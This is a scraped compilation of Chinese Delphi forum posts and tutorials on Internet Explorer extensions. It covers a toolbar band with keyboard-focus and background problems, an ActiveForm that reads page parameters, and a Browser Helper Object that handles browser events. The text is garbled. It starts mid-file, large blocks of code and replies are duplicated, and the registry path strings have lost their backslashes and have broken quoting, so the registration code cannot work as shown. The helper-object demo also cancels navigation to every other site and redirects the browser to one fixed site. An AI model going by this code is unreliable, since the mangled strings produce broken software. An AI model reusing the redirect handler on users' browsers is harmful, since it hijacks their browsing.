if Assigned(frmBar) and (frmBar.Active) then

Result := S_OK

else

Result := E_FAIL;

end;

procedure TIEBar.Initialize;

begin

inherited;

Site := nil;

IE := nil;

ParentWnd := 0;

frmBar := nil;

end;

function TIEBar.IsDirty: HResult;

begin

Result := E_NOTIMPL;

end;

function TIEBar.Load(const stm: IStream): HResult;

begin

Result := E_NOTIMPL;

end;

function TIEBar.ResizeBorderDW(var prcBorder: TRect;

punkToolbarSite: IUnknown; fReserved: BOOL): HResult;

var

rc:TRect;

begin

if Assigned(frmBar) then

begin

GetClientRect(ParentWnd, rc);

frmBar.SetBounds(rc.Left,rc.Top,rc.Right-rc.Left,rc.Bottom-rc.Top);

end;

Result := S_OK;

end;

function TIEBar.Save(const stm: IStream; fClearDirty: BOOL): HResult;

begin

Result := E_NOTIMPL;

end;

function TIEBar.SetSite(const pUnkSite: IUnknown): HResult;

begin

if Assigned(pUnkSite) then begin

Site := pUnkSite as IInputObjectSite;

(pUnkSite as IOleWindow).GetWindow(ParentWnd);

cmdTarget := pUnkSite as IOleCommandTarget;

(CmdTarget as IServiceProvider).QueryService(IWebbrowserApp, IWebbrowser2, IE);

end;

Result := S_OK;

end;

function TIEBar.ShowDW(fShow: BOOL): HResult;

begin

if Assigned(frmBar) then frmBar.Visible := fShow;

Result := S_OK;

end;

{TIEBarFactory}

type

TIEBarFactory = class(TComObjectFactory)

public

procedure UpdateRegistry(Register: Boolean); override;

end;

function GetModuleFileName: string;

var

Buffer: array[0..261] of Char;

begin

SetString(Result, Buffer, Windows.GetModuleFileName(HInstance,

Buffer, SizeOf(Buffer)));

end;

procedure TIEBarFactory.UpdateRegistry(Register: Boolean);

var

ClassID,CatClassID: string;

begin

ClassID := GUIDToString(Class_IEBar);

case BarType of

btInfo:CatClassID:=GUIDToString(CATID_InfoBand);

btComm:CatClassID:=GUIDToString(CATID_CommBand);

btDesk:CatClassID:=GUIDToString(CATID_DeskBand);

btToolbar:CatClassID:=GUIDToString(CATID_CommBand);

end;

if Register then begin

inherited UpdateRegistry(Register);

CreateRegKey('CLSID+ClassID+'Categories','','');

CreateRegKey('CLSID+ClassID+'Categories+CatClassID,'','');

if BarType=btToolbar then begin

with TRegistry.Create do

try

RootKey := HKEY_LOCAL_MACHINE;

if not OpenKey('SOFTWAREExplorer',False) then Exit;

CloseKey;

OpenKey('SOFTWAREExplorer',True);

WriteString(ClassID,'');

CloseKey;

finally

Free;

end;

end;

end else begin

DeleteRegKey('CLSID+ClassID+'Categories+CatClassID);

DeleteRegKey('CLSID+ClassID+'Categories');

if BarType=btToolbar then begin

with TRegistry.Create do

try

RootKey := HKEY_LOCAL_MACHINE;

OpenKey('SOFTWAREExplorer',False);

DeleteValue(ClassID);

CloseKey;

finally

Free;

end;

end;

inherited UpdateRegistry(Register);

end;

end;

function TIEBar.TranslateAcceleratorIO(var lpMsg: TMsg): HResult;

begin

if (lpMsg.WParam <> VK_TAB) then begin

TranslateMessage(lpMSg);

DispatchMessage(lpMsg);

Result := S_OK;

end

else Result := S_FALSE;

end;

function TIEBar.UIActivateIO(fActivate: BOOL; var lpMsg: TMsg): HResult;

begin

if Assigned(frmBar) and fActivate then SetFocus(frmBar.Handle);

Result := S_OK;

end;

initialization

TIEBarFactory.Create(ComServer, TIEBar, Class_IEBar,'', BarName,

ciMultiInstance,tmApartment);

end.

2.bar.pas

===============================================================================

unit Bar;

interface

uses

Windows, Messages, SysUtils, Classes, Controls, Forms, Dialogs,

StdCtrls, ExtCtrls, Buttons, graphics, OleCtrls, SHDocVw, fcImage,

fcImageForm, Menus;

type

TfrmBar = class(TForm)

btnStart: TSpeedButton;

Edit1: TEdit;

SpeedButton1: TSpeedButton;

procedure btnStartClick(Sender: TObject);

procedure FormCreate(Sender: TObject);

procedure FormClose(Sender: TObject; var Action: TCloseAction);

private

{ Private declarations }

img:TImage;

procedure NavigateFromBand(const URL: string);

procedure WMEraseBkgnd(var Message: TWmEraseBkgnd); message WM_ERASEBKGND;

public

{ Public declarations }

WebBrow:IWebBrowser2;

end;

implementation

{$R *.DFM}

{ TfrmBar }

procedure TfrmBar.btnStartClick(Sender: TObject);

begin

NavigateFromBand(edit1.text);

end;

procedure TfrmBar.NavigateFromBand(const URL: string);

var

_url: OleVariant;

X: OleVariant;

begin

_Url := Url;

X := 0;

WebBrow.Navigate(Url, X, X, X, X);

end;

procedure TfrmBar.WMEraseBkgnd(var Message: TWmEraseBkgnd);

var

Rec,Rec1:TRect;

begin

img.Picture.Bitmap.Width := Left + Width;

img.Picture.Bitmap.Height := Top + Height;

img.Visible := True;

SendMessage(ParentWindow,WM_ERASEBKGND,img.Canvas.Handle,0);

GetUpdateRect(Handle,Rec,True);

Rec1.Left := Rec.Left + Left;

Rec1.Top := Rec.Top + Top;

Rec1.Right := Rec.Right + Left;

Rec1.Bottom := Rec.Bottom + Top;

Canvas.CopyRect(Rec,img.Canvas,Rec1);

Message.Result := 0;

end;

procedure TfrmBar.FormCreate(Sender: TObject);

begin

img := TImage.Create(Self);

end;

procedure TfrmBar.FormClose(Sender: TObject; var Action: TCloseAction);

begin

img.Picture.Bitmap.Free;

img.Picture.Bitmap := nil;

img.Free;

end;

end.

回复人：Seoul(2000-9-28 9:43:00) 得0分

我也连不上，go.163.com上的东西都是这样的，你应考虑放在其它地方，不知你问题解决了没有。

回复人：sundyl(2000-9-28 12:34:00) 得0分

背景图片的问题解决了，是这样处理的(让父窗口为我去绘)

if (Message.Msg = WM_ERASEBKGND) then

begin

SetWindowOrgEx(frmBar.Canvas.Handle,frmBar.Left,frmBar.Top,nil);

SendMessage(ParentWnd,Message.Msg,frmBar.Canvas.Handle,Message.lParam);

end else

OldWndProc(Message);

但是键盘焦点的问题还是没有办法。请各位在看一看

主　　题：高分求教，我的窗口嵌入到IE的工具栏中，

作　　者：sundyl

所属论坛：Visual C++

问题点数：300

回复次数：3

发表时间：2000-9-27 22:19:00

我的窗口嵌入到IE的工具栏中，但是无法用TAB键从其他窗口转入到我的窗口中，但可以从我的窗口转出。而且，很奇怪不能就受到退格键，鼠标的消息好像也不太正常。

当IE的工具栏有背景图案的时候，我的窗口有没有。

出了什么问题。

我可以提供我的程序（Delphi），能帮忙看看吗

http://go.163.com/~sundyl/iebar.zip

回复贴子：

回复人：sundyl(2000-9-27 22:25:00) 得0分

不好意思，go.163.com连接不上，我就把程序放到这里吧(两个文件)

1.main.pas

==========================================================================

unit main;

interface

uses

Windows, ActiveX, ComObj, ShlObj, Bar, SHDocVw;

Type

TBarType=(btInfo,btDesk,btComm,btToolbar);

const

BarName='测试工具栏';

BarType=btToolbar;

MIN_SIZE_X=80;

MIN_SIZE_Y=24;

Class_IEBar: TGUID = '{222CCD87-2240-11D4-97C2-0000E8974CF6}';

IID_IOleWindow:TGUID='{00000114-0000-0000-C000-000000000046}';

IID_IInputObjectSite:TGUID=SID_IInputObjectSite;

SID_Extension='{7C4A7901-224E-11D4-97C2-0000E8974CF6}';

CATID_DeskBand:TGUID=(D1:$00021492; D2:$0000; D3:$0000; D4:($C0,$00,$00,$00,$00,$00,$00,$46));

CATID_InfoBand:TGUID=(D1:$00021493; D2:$0000; D3:$0000; D4:($C0,$00,$00,$00,$00,$00,$00,$46));

CATID_CommBand:TGUID=(D1:$00021494; D2:$0000; D3:$0000; D4:($C0,$00,$00,$00,$00,$00,$00,$46));

type

TIEBar = Class(TComObject,IDeskBand,IObjectWithSite,IPersistStream)

private

FBandID:DWORD;

FViewMode:DWORD;

Site: IInputObjectSite;

cmdTarget: IOleCommandTarget;

IE:IWebBrowser2;

ParentWnd:HWnd;

frmBar: TfrmBar;

protected

//IDeskBand = interface(IDockingWindow)[SID_IDeskBand]

function GetBandInfo(dwBandID, dwViewMode: DWORD; var pdbi: TDeskBandInfo):HResult; stdcall;

//IDockingWindow = interface(IOleWindow)[SID_IDockingWindow]

function ShowDW(fShow: BOOL): HResult; stdcall;

function CloseDW(dwReserved: DWORD): HResult; stdcall;

function ResizeBorderDW(var prcBorder: TRect; punkToolbarSite: IUnknown;fReserved: BOOL): HResult; stdcall;

//IOleWindow = interface(IUnknown)['{00000114-0000-0000-C000-000000000046}']

function GetWindow(out wnd: HWnd): HResult; stdcall;

function ContextSensitiveHelp(fEnterMode: BOOL): HResult; stdcall;

//IObjectWithSite = interface ['{FC4801A3-2BA9-11CF-A229-00AA003D7352}']

function SetSite(const pUnkSite: IUnknown ):HResult; stdcall;

function GetSite(const riid: TIID; out site: IUnknown):HResult; stdcall;

//IPersistStream = interface(IPersist) ['{00000109-0000-0000-C000-000000000046}']

function IsDirty: HResult; stdcall;

function Load(const stm: IStream): HResult; stdcall;

function Save(const stm: IStream; fClearDirty: BOOL): HResult; stdcall;

function GetSizeMax(out cbSize: Largeint): HResult; stdcall;

//IPersist = interface(IUnknown)['{0000010C-0000-0000-C000-000000000046}']

function GetClassID(out classID: TCLSID): HResult; stdcall;

//IInputObject = interface(IUnknown) [SID_IInputObject]

function UIActivateIO(fActivate: BOOL; var lpMsg: TMsg): HResult; stdcall;

function HasFocusIO: HResult; stdcall;

function TranslateAcceleratorIO(var lpMsg: TMsg): HResult; stdcall;

public

//TComObject

procedure Initialize; Override;

end;

implementation

uses ComServ, SysUtils, ShellApi, registry;

{$R BarIcon.res}

{ TIEBar }

function TIEBar.CloseDW(dwReserved: DWORD): HResult;

begin

if Assigned(frmBar) then

begin

frmBar.Free;

frmBar := nil;

end;

Result := S_OK;

end;

function TIEBar.ContextSensitiveHelp(fEnterMode: BOOL): HResult;

begin

Result := S_OK;

end;

function TIEBar.GetBandInfo(dwBandID, dwViewMode: DWORD;

var pdbi: TDeskBandInfo): HResult;

begin

FBandID := dwBandID;

FViewMode := dwViewMode;

if (pdbi.dwMask and DBIM_MINSIZE)>0 then

begin

pdbi.ptMinSize.x := MIN_SIZE_X;

pdbi.ptMinSize.y := MIN_SIZE_Y;

end;

if(pdbi.dwMask and DBIM_MAXSIZE)>0 then

begin

pdbi.ptMaxSize.x := -1;

pdbi.ptMaxSize.y := -1;

end;

//如果设置了这个就可以调整大小

{if (pdbi.dwMask and DBIM_INTEGRAL)>0 then

begin

pdbi.ptIntegral.x := 1;

pdbi.ptIntegral.y := 1;

end;}

if (pdbi.dwMask and DBIM_ACTUAL)>0 then

begin

pdbi.ptActual.x := 0;

pdbi.ptActual.y := 0;

end;

if (pdbi.dwMask and DBIM_MODEFLAGS)>0 then

pdbi.dwModeFlags := DBIMF_VARIABLEHEIGHT;

Result := S_OK;

end;

function TIEBar.GetClassID(out classID: TCLSID): HResult;

begin

classID := Class_IEBar;

Result := S_OK;

end;

function TIEBar.GetSite(const riid: TIID; out site: IUnknown): HResult;

begin

if Assigned(Site) then

Result := Site.QueryInterface(riid, site)

else

Result := E_FAIL;

end;

function TIEBar.GetSizeMax(out cbSize: Largeint): HResult;

begin

cbSize := 0;

Result := E_NOTIMPL;

end;

function TIEBar.GetWindow(out wnd: HWnd): HResult;

begin

if not Assigned(frmBar) then

begin

frmBar := TfrmBar.CreateParented(ParentWnd);

frmBar.WebBrow := IE;

end;

wnd := frmBar.Handle;

Result := S_OK;

end;

function TIEBar.HasFocusIO: HResult;

begin

if Assigned(frmBar) and (frmBar.Active) then

Result := S_OK

else

Result := E_FAIL;

end;

procedure TIEBar.Initialize;

begin

inherited;

Site := nil;

IE := nil;

ParentWnd := 0;

frmBar := nil;

end;

function TIEBar.IsDirty: HResult;

begin

Result := E_NOTIMPL;

end;

function TIEBar.Load(const stm: IStream): HResult;

begin

Result := E_NOTIMPL;

end;

function TIEBar.ResizeBorderDW(var prcBorder: TRect;

punkToolbarSite: IUnknown; fReserved: BOOL): HResult;

var

rc:TRect;

begin

if Assigned(frmBar) then

begin

GetClientRect(ParentWnd, rc);

frmBar.SetBounds(rc.Left,rc.Top,rc.Right-rc.Left,rc.Bottom-rc.Top);

end;

Result := S_OK;

end;

function TIEBar.Save(const stm: IStream; fClearDirty: BOOL): HResult;

begin

Result := E_NOTIMPL;

end;

function TIEBar.SetSite(const pUnkSite: IUnknown): HResult;

begin

if Assigned(pUnkSite) then begin

Site := pUnkSite as IInputObjectSite;

(pUnkSite as IOleWindow).GetWindow(ParentWnd);

cmdTarget := pUnkSite as IOleCommandTarget;

(CmdTarget as IServiceProvider).QueryService(IWebbrowserApp, IWebbrowser2, IE);

end;

Result := S_OK;

end;

function TIEBar.ShowDW(fShow: BOOL): HResult;

begin

if Assigned(frmBar) then frmBar.Visible := fShow;

Result := S_OK;

end;

{TIEBarFactory}

type

TIEBarFactory = class(TComObjectFactory)

public

procedure UpdateRegistry(Register: Boolean); override;

end;

function GetModuleFileName: string;

var

Buffer: array[0..261] of Char;

begin

SetString(Result, Buffer, Windows.GetModuleFileName(HInstance,

Buffer, SizeOf(Buffer)));

end;

procedure TIEBarFactory.UpdateRegistry(Register: Boolean);

var

ClassID,CatClassID: string;

begin

ClassID := GUIDToString(Class_IEBar);

case BarType of

btInfo:CatClassID:=GUIDToString(CATID_InfoBand);

btComm:CatClassID:=GUIDToString(CATID_CommBand);

btDesk:CatClassID:=GUIDToString(CATID_DeskBand);

btToolbar:CatClassID:=GUIDToString(CATID_CommBand);

end;

if Register then begin

inherited UpdateRegistry(Register);

CreateRegKey('CLSID+ClassID+'Categories','','');

CreateRegKey('CLSID+ClassID+'Categories+CatClassID,'','');

if BarType=btToolbar then begin

with TRegistry.Create do

try

RootKey := HKEY_LOCAL_MACHINE;

if not OpenKey('SOFTWAREExplorer',False) then Exit;

CloseKey;

OpenKey('SOFTWAREExplorer',True);

WriteString(ClassID,'');

CloseKey;

finally

Free;

end;

end;

end else begin

DeleteRegKey('CLSID+ClassID+'Categories+CatClassID);

DeleteRegKey('CLSID+ClassID+'Categories');

if BarType=btToolbar then begin

with TRegistry.Create do

try

RootKey := HKEY_LOCAL_MACHINE;

OpenKey('SOFTWAREExplorer',False);

DeleteValue(ClassID);

CloseKey;

finally

Free;

end;

end;

inherited UpdateRegistry(Register);

end;

end;

function TIEBar.TranslateAcceleratorIO(var lpMsg: TMsg): HResult;

begin

if (lpMsg.WParam <> VK_TAB) then begin

TranslateMessage(lpMSg);

DispatchMessage(lpMsg);

Result := S_OK;

end

else Result := S_FALSE;

end;

function TIEBar.UIActivateIO(fActivate: BOOL; var lpMsg: TMsg): HResult;

begin

if Assigned(frmBar) and fActivate then SetFocus(frmBar.Handle);

Result := S_OK;

end;

initialization

TIEBarFactory.Create(ComServer, TIEBar, Class_IEBar,'', BarName,

ciMultiInstance,tmApartment);

end.

2.bar.pas

===============================================================================

unit Bar;

interface

uses

Windows, Messages, SysUtils, Classes, Controls, Forms, Dialogs,

StdCtrls, ExtCtrls, Buttons, graphics, OleCtrls, SHDocVw, fcImage,

fcImageForm, Menus;

type

TfrmBar = class(TForm)

btnStart: TSpeedButton;

Edit1: TEdit;

SpeedButton1: TSpeedButton;

procedure btnStartClick(Sender: TObject);

procedure FormCreate(Sender: TObject);

procedure FormClose(Sender: TObject; var Action: TCloseAction);

private

{ Private declarations }

img:TImage;

procedure NavigateFromBand(const URL: string);

procedure WMEraseBkgnd(var Message: TWmEraseBkgnd); message WM_ERASEBKGND;

public

{ Public declarations }

WebBrow:IWebBrowser2;

end;

implementation

{$R *.DFM}

{ TfrmBar }

procedure TfrmBar.btnStartClick(Sender: TObject);

begin

NavigateFromBand(edit1.text);

end;

procedure TfrmBar.NavigateFromBand(const URL: string);

var

_url: OleVariant;

X: OleVariant;

begin

_Url := Url;

X := 0;

WebBrow.Navigate(Url, X, X, X, X);

end;

procedure TfrmBar.WMEraseBkgnd(var Message: TWmEraseBkgnd);

var

Rec,Rec1:TRect;

begin

img.Picture.Bitmap.Width := Left + Width;

img.Picture.Bitmap.Height := Top + Height;

img.Visible := True;

SendMessage(ParentWindow,WM_ERASEBKGND,img.Canvas.Handle,0);

GetUpdateRect(Handle,Rec,True);

Rec1.Left := Rec.Left + Left;

Rec1.Top := Rec.Top + Top;

Rec1.Right := Rec.Right + Left;

Rec1.Bottom := Rec.Bottom + Top;

Canvas.CopyRect(Rec,img.Canvas,Rec1);

Message.Result := 0;

end;

procedure TfrmBar.FormCreate(Sender: TObject);

begin

img := TImage.Create(Self);

end;

procedure TfrmBar.FormClose(Sender: TObject; var Action: TCloseAction);

begin

img.Picture.Bitmap.Free;

img.Picture.Bitmap := nil;

img.Free;

end;

end.

回复人：Seoul(2000-9-28 9:43:00) 得0分

我也连不上，go.163.com上的东西都是这样的，你应考虑放在其它地方，不知你问题解决了没有。

回复人：sundyl(2000-9-28 12:34:00) 得0分

背景图片的问题解决了，是这样处理的(让父窗口为我去绘)

if (Message.Msg = WM_ERASEBKGND) then

begin

SetWindowOrgEx(frmBar.Canvas.Handle,frmBar.Left,frmBar.Top,nil);

SendMessage(ParentWnd,Message.Msg,frmBar.Canvas.Handle,Message.lParam);

end else

OldWndProc(Message);

但是键盘焦点的问题还是没有办法。请各位在看一看


使ActiveForm获取网页中参数

我在Borland新闻组中找到如何使ActiveForm获取网页中参数的方法：

Hmmm. I followed an example from one of these newsgroups and got it w

orking

without a hitch. Did you declare support for IPersistPropertyBag in t

he

class definition?

Here is what mine looks like, with non-essentials removed:

class TMyActiveForm = class(TActiveForm, IMyActiveForm,

IPersistPropertyBag)

protected:

// IPersistPropertyBag

function IPersistPropertyBag.GetClassID = PersistPropertyBagGetCla

ssID;

function IPersistPropertyBag.InitNew = PersistPropertyBagInitNew;

function IPersistPropertyBag.Load = PersistPropertyBagLoad;

function IPersistPropertyBag.Save = PersistPropertyBagSave;

function PersistPropertyBagInitNew: HResult; stdcall;

function PersistPropertyBagGetClassID(out classID: TCLSID): HResul

t;

stdcall;

function PersistPropertyBagLoad(const pPropBag: IPropertyBag; cons

t

pErrorLog: IErrorLog): HResult; stdcall;

function PersistPropertyBagSave(const pPropBag: IPropertyBag;

fClearDirty: BOOL; fSaveAllProperties: BOOL): HResult; stdcall;

end;

implementation

(*

* IPersistPropertyBag

*)

function TMyActiveForm.PersistPropertyBagLoad(const pPropBag: IPropert

yBag;

const pErrorLog: IErrorLog): HResult;

var

v : OleVariant;

begin

if pPropBag.Read('ShowLegend', v, pErrorLog) = S_OK then

Set_ShowLegend( v );

if pPropBag.Read('XMLDSOID', v, pErrorLog) = S_OK then

Set_XMLDSOID( v );

result := S_OK;

end;

function TMyActiveForm..PersistPropertyBagSave(const pPropBag: IProper

tyBag;

fClearDirty, fSaveAllProperties: BOOL): HResult;

var

v : OleVariant;

begin

v := FShowLegend;

pPropBag.Write( 'ShowLegend', v );

v := FXMLDSOID;

pPropBag.Write( 'XMLDSOID', v );

result := S_OK;

end;

function TMyActiveForm..PersistPropertyBagGetClassID( out classID: TCL

SID):

HResult;

begin

try

classID := Class_MyActiveForm;

Result := S_OK;

except

end;

end;

function TMyActiveForm.PersistPropertyBagInitNew: HResult;

begin

try

result := S_OK;

except

end;

end;


一个IE　COM接口的例子

需要建立一个COM对象，实现IDispatch, IObjectWithSite接口，如下

TIEHelper = class(TComObject, IDispatch, IObjectWithSite)

public

function GetTypeInfoCount(out Count: Integer): HResult; stdcall;

function GetTypeInfo(Index, LocaleID: Integer; out TypeInfo): HResult; stdcall;

function GetIDsOfNames(const IID: TGUID; Names: Pointer;

NameCount, LocaleID: Integer; DispIDs: Pointer): HResult; stdcall;

function Invoke(DispID: Integer; const IID: TGUID; LocaleID: Integer;

Flags: Word; var Params; VarResult, ExcepInfo, ArgErr: Pointer): HResult; stdcall;

function SetSite(const pUnkSite: IUnknown): HResult; stdcall;

function GetSite(const riid: TIID; out site: IUnknown): HResult; stdcall;

private

IE: IWebbrowser2;

Cookie: Integer;

end;

在SetSite方法中处理与IE的连接：

function TIEHelper.SetSite(const pUnkSite: IUnknown): HResult;

var

cmdTarget: IOleCommandTarget;

Sp: IServiceProvider;

CPC: IConnectionPointContainer;

CP: ICOnnectionPoint;

begin

if Assigned(pUnkSite) then begin

cmdTarget := pUnkSite as IOleCommandTarget;

Sp := CmdTarget as IServiceProvider;

if Assigned(Sp)then

Sp.QueryService(IWebbrowserApp, IWebbrowser2, IE);

if Assigned(IE) then begin

IE.QueryInterface(IConnectionPointContainer, CPC);

CPC.FindConnectionPoint(DWEBbrowserEvents2, CP);

CP.Advise(Self, Cookie)

end;

end;

Result := S_OK;

end;

然后当IE事件引发后，会调用服务器的Invoke事件，在事件中判断DispID并执行

相应的处理：

function TIEHelper.Invoke(DispID: Integer; const IID: TGUID; LocaleID: Integer;

Flags: Word; var Params; VarResult, ExcepInfo, ArgErr: Pointer): HResult;

type

POleVariant = ^OleVariant;

var

dps: TDispParams absolute Params;

bHasParams: boolean;

pDispIds: PDispIdList;

iDispIdsSize: integer;

begin

Result := DISP_E_MEMBERNOTFOUND;

pDispIds := nil;

iDispIdsSize := 0;

bHasParams := (dps.cArgs > 0);

if (bHasParams) then

begin

iDispIdsSize := dps.cArgs * SizeOf(TDispId);

GetMem(pDispIds, iDispIdsSize);

end;

try

if (bHasParams) then BuildPositionalDispIds(pDispIds, dps);

case DispId of

102:

begin

DoStatusTextChange(dps.rgvarg^[pDispIds^[0]].bstrval);

Result := S_OK;

end;

108:

begin

DoProgressChange(dps.rgvarg^[pDispIds^[0]].lval, dps.rgvarg^[pDispIds^[1]].lval);

Result := S_OK;

end;

最后，需要在注册时在注册表中添加附加信息以便IE调用：

type

TIEHelperFactory = class(TComObjectFactory)

private

procedure AddKeys;

procedure RemoveKeys;

public

procedure UpdateRegistry(Register: Boolean); override;

end;

procedure TIEHelperFactory.AddKeys;

var S: string;

begin

S := GUIDToString(CLASS_IEHelper);

with TRegistry.Create do

try

RootKey := HKEY_LOCAL_MACHINE;

if OpenKey('SoftwareHelper Objects + S, TRUE)

then CloseKey;

finally

free;

end;

end;

procedure TIEHelperFactory.RemoveKeys;

var S: string;

begin

S := GUIDToString(CLASS_IEHelper);

with TRegistry.Create do

try

RootKey := HKEY_LOCAL_MACHINE;

DeleteKey('SoftwareHelper Objects + S);

finally

free;

end;

end;

procedure TIEHelperFactory.UpdateRegistry(Register: Boolean);

begin

inherited UpdateRegistry(Register);

if Register then AddKeys else RemoveKeys;

end;

initialization

TIEHelperFactory.Create(ComServer, TIEHelper, Class_IEHelper,

'IEHelper', '', ciMultiInstance, tmApartment);

end.


页面中的JaVa函数

判断要执行的这个函数 A 是否存在？

Doc: IHTMLDocument2;

Script: IHTMLScriptElement;

Doc:= WebBrowser.Document as IHTMLDocument2;

Len:= Doc.Scripts.Length;

for I:= 0 to len-1 do begin

Script:= (Doc.Scripts.item( I, 0) as IHTMLScriptElement);

在Script.Text里面查吧

end;


利用Delphi编写IE扩展

TechnoFantasy 原作

就是如何使ie扩展组件可以响应事件。

在自己的程序中使用过webbrowser控件的朋友都知道，webbrowser控件定义了诸如beforenavigate、downloadcomplete 等事件，我们可以通过编写事件处理代码实现对webbrowser控件的操作。那么如何实现对ie的事件响应和处理呢？同建立ie面板一样。我们需要建立一个实现iobjectwithsite接口的com组件，不同的是，我们还需要实现idispatch接口，在iobjectwithsite接口的setsite方法中获得ie的webbrowser接口并建立自身与webbrowser的连接，然后如果在ie的webbrowser对象中发生什么事件的话，那么ie就会回调连接的idispatch接口的invoke方法。我们通过在invoke方法中编写代码就可以获得ie事件了。这个利用的是com编程的回调接口原理。

下面我们首先来实现代码。点击delphi菜单 file | new 。在 activex 页面中选择active library ，然后点击 ok 按钮。然后用同样的方法建立一个com object。在com object wizard 窗口中，将复选框 included type library 去掉。然后在class name中输入iehelper，在implemented interface 中输入：idispatch；iobjectwithsite 。然后点击 ok 按钮建立一个com组件。

保存工程，将工程保存为iehelper.dpr，将unit1保存为iehelperunit.pas。下面是iehelperunit.pas的具体代码：

unit iehelperunit;

interface

uses

windows, comobj, activex, shdocvw, mshtml,dialogs;

type

tiehelperfactory = class(tcomobjectfactory)

private

procedure addkeys;

procedure removekeys;

public

procedure updateregistry(register: boolean); override;

end;

tiehelper = class(tcomobject, idispatch, iobjectwithsite)

public

function gettypeinfocount(out count: integer): hresult; stdcall;

function gettypeinfo(index, localeid: integer; out typeinfo): hresult; stdcall;

function getidsofnames(const iid: tguid; names: pointer;

namecount, localeid: integer; dispids: pointer): hresult; stdcall;

function invoke(dispid: integer; const iid: tguid; localeid: integer;

flags: word; var params; varresult, excepinfo, argerr: pointer): hresult; stdcall;

function setsite(const punksite: iunknown): hresult; stdcall;

function getsite(const riid: tiid; out site: iunknown): hresult; stdcall;

private

ie: iwebbrowser2;

cookie: integer;

end;

const

class_iehelper: tguid = '{3d898c55-74cc-4b7c-b5f1-45913f368388}';

implementation

uses comserv, registry, sysutils;

procedure dostatustextchange(const text: widestring);

begin

end;

procedure doprogresschange(progress: integer; progressmax: integer);

begin

end;

procedure docommandstatechange(command: integer; enable: wordbool);

begin

end;

procedure dodownloadbegin;

begin

end;

procedure dodownloadcomplete;

begin

end;

procedure dotitlechange(const text: widestring);

begin

end;

procedure dopropertychange(const szproperty: widestring);

begin

end;

procedure dobeforenavigate2(const pdisp: idispatch; var url: olevariant; var flags: olevariant; var targetframename: olevariant; var postdata: olevariant; var headers: olevariant; var cancel: wordbool);

begin

if url<>'http://www.applevb.com/'then begin

showmessage('你不可以浏览其它站点');

cancel:=true;

url:='http://www.applevb.com';

(pdisp as iwebbrowser2).navigate2(url,flags,targetframename,postdata,headers);

end;

end;

procedure donewwindow2(var ppdisp: idispatch; var cancel: wordbool);

begin

end;

procedure donavigatecomplete2(const pdisp: idispatch; var url: olevariant);

begin

end;

procedure dodocumentcomplete(const pdisp: idispatch; var url: olevariant);

begin

end;

procedure doonquit;

begin

end;

procedure doonvisible(visible: wordbool);

begin

end;

procedure doontoolbar(toolbar: wordbool);

begin

end;

procedure doonmenubar(menubar: wordbool);

begin

end;

procedure doonstatusbar(statusbar: wordbool);

begin

end;

procedure doonfullscreen(fullscreen: wordbool);

begin

end;

procedure doontheatermode(theatermode: wordbool);

begin

end;

procedure buildpositionaldispids(pdispids: pdispidlist; const dps: tdispparams);

var

i: integer;

begin

assert(pdispids <> nil);

for i := 0 to dps.cargs - 1 do

pdispids^[i] := dps.cargs - 1 - i;

if (dps.cnamedargs <= 0) then exit;

for i := 0 to dps.cnamedargs - 1 do

pdispids^[dps.rgdispidnamedargs^[i]] := i;

end;

function tiehelper.invoke(dispid: integer; const iid: tguid; localeid: integer;

flags: word; var params; varresult, excepinfo, argerr: pointer): hresult;

type

polevariant = ^olevariant;

var

dps: tdispparams absolute params;

bhasparams: boolean;

pdispids: pdispidlist;

idispidssize: integer;

begin

result := disp_e_membernotfound;

pdispids := nil;

idispidssize := 0;

bhasparams := (dps.cargs > 0);

if (bhasparams) then

begin

idispidssize := dps.cargs * sizeof(tdispid);

getmem(pdispids, idispidssize);

end;

try

if (bhasparams) then buildpositionaldispids(pdispids, dps);

case dispid of

102:

begin

dostatustextchange(dps.rgvarg^[pdispids^[0]].bstrval);

result := s_ok;

end;

108:

begin

doprogresschange(dps.rgvarg^[pdispids^[0]].lval, dps.rgvarg^[pdispids^[1]].lval);

result := s_ok;

end;

105:

begin

docommandstatechange(dps.rgvarg^[pdispids^[0]].lval, dps.rgvarg^[pdispids^[1]].vbool);

result := s_ok;

end;

106:

begin

dodownloadbegin();

result := s_ok;

end;

104:

begin

dodownloadcomplete();

result := s_ok;

end;

113:

begin

dotitlechange(dps.rgvarg^[pdispids^[0]].bstrval);

result := s_ok;

end;

112:

begin

dopropertychange(dps.rgvarg^[pdispids^[0]].bstrval);

result := s_ok;

end;

250:

begin

dobeforenavigate2(idispatch(dps.rgvarg^[pdispids^[0]].dispval), polevariant(dps.rgvarg^[pdispids^[1]].pvarval)^, polevariant(dps.rgvarg^[pdispids^[2]].pvarval)^, polevariant(dps.rgvarg^[pdispids^[3]].pvarval)^, polevariant(dps.rgvarg^[pdispids^[4]].pvarval)^, polevariant(dps.rgvarg^[pdispids^[5]].pvarval)^, dps.rgvarg^[pdispids^[6]].pbool^);

result := s_ok;

end;

251:

begin

donewwindow2(idispatch(dps.rgvarg^[pdispids^[0]].pdispval^), dps.rgvarg^[pdispids^[1]].pbool^);

result := s_ok;

end;

252:

begin

donavigatecomplete2(idispatch(dps.rgvarg^[pdispids^[0]].dispval), polevariant(dps.rgvarg^[pdispids^[1]].pvarval)^);

result := s_ok;

end;

259:

begin

dodocumentcomplete(idispatch(dps.rgvarg^[pdispids^[0]].dispval), polevariant(dps.rgvarg^[pdispids^[1]].pvarval)^);

result := s_ok;

end;

253:

begin

doonquit();

result := s_ok;

end;

254:

begin

doonvisible(dps.rgvarg^[pdispids^[0]].vbool);

result := s_ok;

end;

255:

begin

doontoolbar(dps.rgvarg^[pdispids^[0]].vbool);

result := s_ok;

end;

256:

begin

doonmenubar(dps.rgvarg^[pdispids^[0]].vbool);

result := s_ok;

end;

257:

begin

doonstatusbar(dps.rgvarg^[pdispids^[0]].vbool);

result := s_ok;

end;

258:

begin

doonfullscreen(dps.rgvarg^[pdispids^[0]].vbool);

result := s_ok;

end;

260:

begin

doontheatermode(dps.rgvarg^[pdispids^[0]].vbool);

result := s_ok;

end;

end;

finally

if (bhasparams) then freemem(pdispids, idispidssize);

end;

end;

function tiehelper.getidsofnames(const iid: tguid; names: pointer;

namecount, localeid: integer; dispids: pointer): hresult;

begin

result := e_notimpl;

end;

function tiehelper.gettypeinfo(index, localeid: integer;

out typeinfo): hresult;

begin

result := e_notimpl;

pointer(typeinfo) := nil;

end;

function tiehelper.gettypeinfocount(out count: integer): hresult;

begin

result := e_notimpl;

count := 0;

end;

function tiehelper.getsite(const riid: tiid; out site: iunknown): hresult;

begin

// result := s_ok;

if assigned(ie) then result:=ie.queryinterface(riid, site)

else

result:= e_fail;

end;

function tiehelper.setsite(const punksite: iunknown): hresult;

